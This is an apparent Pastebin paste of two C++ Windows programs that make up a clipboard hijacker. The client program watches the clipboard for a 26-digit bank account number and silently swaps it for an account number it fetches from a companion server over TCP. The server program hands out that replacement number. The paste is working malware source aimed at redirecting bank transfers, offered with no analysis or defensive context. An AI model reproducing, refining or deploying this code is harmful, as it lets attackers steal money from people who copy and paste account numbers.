Advertisement
Pagoniusz

Untitled

Apr 23rd, 2015
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.14 KB | None | 0 0
  1. /////////////////////////////////////////////////////////////////////////
  2. //client.cpp
  3.  
  4.  
  5. #include <cstring>
  6. #include <string>
  7. #include <Windows.h>
  8. #include <iostream>
  9. #pragma comment (lib, "Ws2_32.lib")
  10. #pragma comment (lib, "Mswsock.lib")
  11. #pragma comment (lib, "AdvApi32.lib")
  12. void setClipboard(const std::string &s);
  13. std::string GetClipboardText();
  14. bool isBankNo(std::string str);
  15.  
  16. int main(int argc, char *argv[])
  17. {
  18.         printf("[CLIENT]\n");
  19.         SOCKET s;
  20.         struct sockaddr_in sa;
  21.         WSADATA wsas;
  22.         WORD wersja;
  23.  
  24.  
  25.         std::string str = "";
  26.         std::string konto = "000011112222333344555555555";
  27.         //89654123012589745987459811
  28.         int result;
  29.         int p;
  30.         bool sendRequest=false;
  31.         int i=0;
  32.         while(1)
  33.         {
  34.                 int dlug;
  35.                 //char buf='X';
  36.                 char k[27] ;
  37.                 if(sendRequest)
  38.                 {
  39.                         wersja = MAKEWORD(2, 0);
  40.                         WSAStartup(wersja, &wsas);
  41.                         s = socket(AF_INET, SOCK_STREAM, 0);
  42.                         memset((void *)(&sa), 0, sizeof(sa));
  43.                         sa.sin_family = AF_INET;
  44.                         sa.sin_port = htons(1051);
  45.                         sa.sin_addr.s_addr = inet_addr("127.0.0.1");
  46.                         result = connect(s, (struct sockaddr FAR *) &sa, sizeof(sa));
  47.                         if (result == SOCKET_ERROR)
  48.                         {
  49.                                 printf("Connection error!\n");
  50.  
  51.                         }
  52.                         else
  53.                         {      
  54.                                 printf("Connected.\n");
  55.                                 printf("Sending request...");                  
  56.                                 p=send(s, "xxx", 3, 0);//send signal to receive acc no back
  57.                                 printf(" Done!\nReceiving acc No....", p);
  58.                                 Sleep(100);
  59.                                 recv(s, k, 27, 0);//receive acc no
  60.                                 printf(" Done!\n");
  61.                                 k[26] = '\0';
  62.  
  63.                                 konto = k;
  64.                                 konto = std::string(k);
  65.                                 sendRequest=false;
  66.                                 i=0;
  67.                         }
  68.  
  69.  
  70.  
  71.  
  72.                         closesocket(s);
  73.                         WSACleanup();
  74.                 }
  75.  
  76.                 str = GetClipboardText();
  77.                 if (isBankNo(str))
  78.                         setClipboard(konto);
  79.                 std::cout << str << std::endl;
  80.  
  81.                 Sleep(200);
  82.                 if(i++ > 20)
  83.                         sendRequest=true;
  84.  
  85.         }
  86.         return 0;
  87. }
  88.  
  89.  
  90. void setClipboard(const std::string &s){
  91.         Sleep(50);
  92.         OpenClipboard(0);
  93.         EmptyClipboard();
  94.         HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size());
  95.         if (!hg){
  96.                 CloseClipboard();
  97.                 return;
  98.         }
  99.         memcpy(GlobalLock(hg), s.c_str(), s.size());
  100.         GlobalUnlock(hg);
  101.         SetClipboardData(CF_TEXT, hg);
  102.         CloseClipboard();
  103.         GlobalFree(hg);
  104. }
  105.  
  106. std::string GetClipboardText()
  107. {
  108.         Sleep(100);
  109.         if (!OpenClipboard(nullptr))
  110.         {
  111.                 printf("error with opening clipboard\n");
  112.                 return NULL;
  113.         }
  114.         else
  115.         {
  116.                 HANDLE hData = GetClipboardData(CF_TEXT);
  117.                 if (hData == nullptr)
  118.                         printf("error with reading data\n");
  119.  
  120.                 char * pszText = static_cast<char*>(GlobalLock(hData));
  121.                 if (pszText == nullptr)
  122.                         printf("error with text\n");
  123.  
  124.  
  125.                 std::string text(pszText);
  126.                 GlobalUnlock(hData);
  127.                 CloseClipboard();
  128.                 return text;
  129.         }
  130.  
  131. }
  132.  
  133. bool isBankNo(std::string str)
  134. {
  135.         int count = 0;
  136.         for (int i = 0; i < str.length(); i++)
  137.         {
  138.                 if (str[i] >= '0' && str[i] <= '9')
  139.                         count++;
  140.  
  141.         }
  142.  
  143.         if (count == 26 && str.length() == 26)
  144.                 return true;
  145.         else
  146.                 return false;
  147.  
  148. }
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183. ////////////////////////////////////
  184. //server.cpp
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193. #include <Windows.h>
  194. #include <stdlib.h>
  195. #include <stdio.h>
  196. #pragma comment (lib, "Ws2_32.lib")
  197. #pragma comment (lib, "Mswsock.lib")
  198. #pragma comment (lib, "AdvApi32.lib")
  199. #define NR_KONTA "000011112222333388888888888"
  200. int main()
  201. {
  202.         WSADATA wsas;
  203.         int result;
  204.         WORD wersja;
  205.         wersja = MAKEWORD(1, 1);
  206.         result = WSAStartup(wersja, &wsas);
  207.         printf("[SERVER]\n");
  208.         SOCKET s;
  209.         s = socket(AF_INET, SOCK_STREAM, 0);
  210.  
  211.         struct sockaddr_in sa;
  212.         memset((void *)(&sa), 0, sizeof(sa));
  213.         sa.sin_family = AF_INET;
  214.         sa.sin_port = htons(1051);
  215.         sa.sin_addr.s_addr = htonl(INADDR_ANY);
  216.  
  217.         result = bind(s, (struct sockaddr FAR*)&sa, sizeof(sa));
  218.  
  219.         result = listen(s, 5);
  220.  
  221.         SOCKET si;
  222.         struct sockaddr_in sc;
  223.         int lenc;
  224.         lenc = sizeof(sc);
  225.         //si = accept(s, (struct sockaddr FAR *) &sc, &lenc);
  226.         char r;
  227.        
  228.         for (;;)
  229.         {
  230.                 char r[4]="...";
  231.                 //lenc = sizeof(sc);
  232.                
  233.                 //char buf[80];
  234.                 si = accept(s, (struct sockaddr FAR *) &sc, &lenc);
  235.                 recv(si, r, 3, 0);//receive signal from client
  236.                 r[3]='\0';
  237.                 //printf("%s\n", r);
  238.                 if(strcmp(r,"xxx")==0)
  239.                 {
  240.                         printf("Sending acc number...");
  241.                         send(si, NR_KONTA, 27, 0);    
  242.                         printf("  Done!\n");
  243.                 }
  244.                 //Sleep(5000);
  245.         }
  246.         closesocket(si);
  247.         WSACleanup();
  248.         printf("Shutting down...\n");
  249.         return 0;
  250.  
  251. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement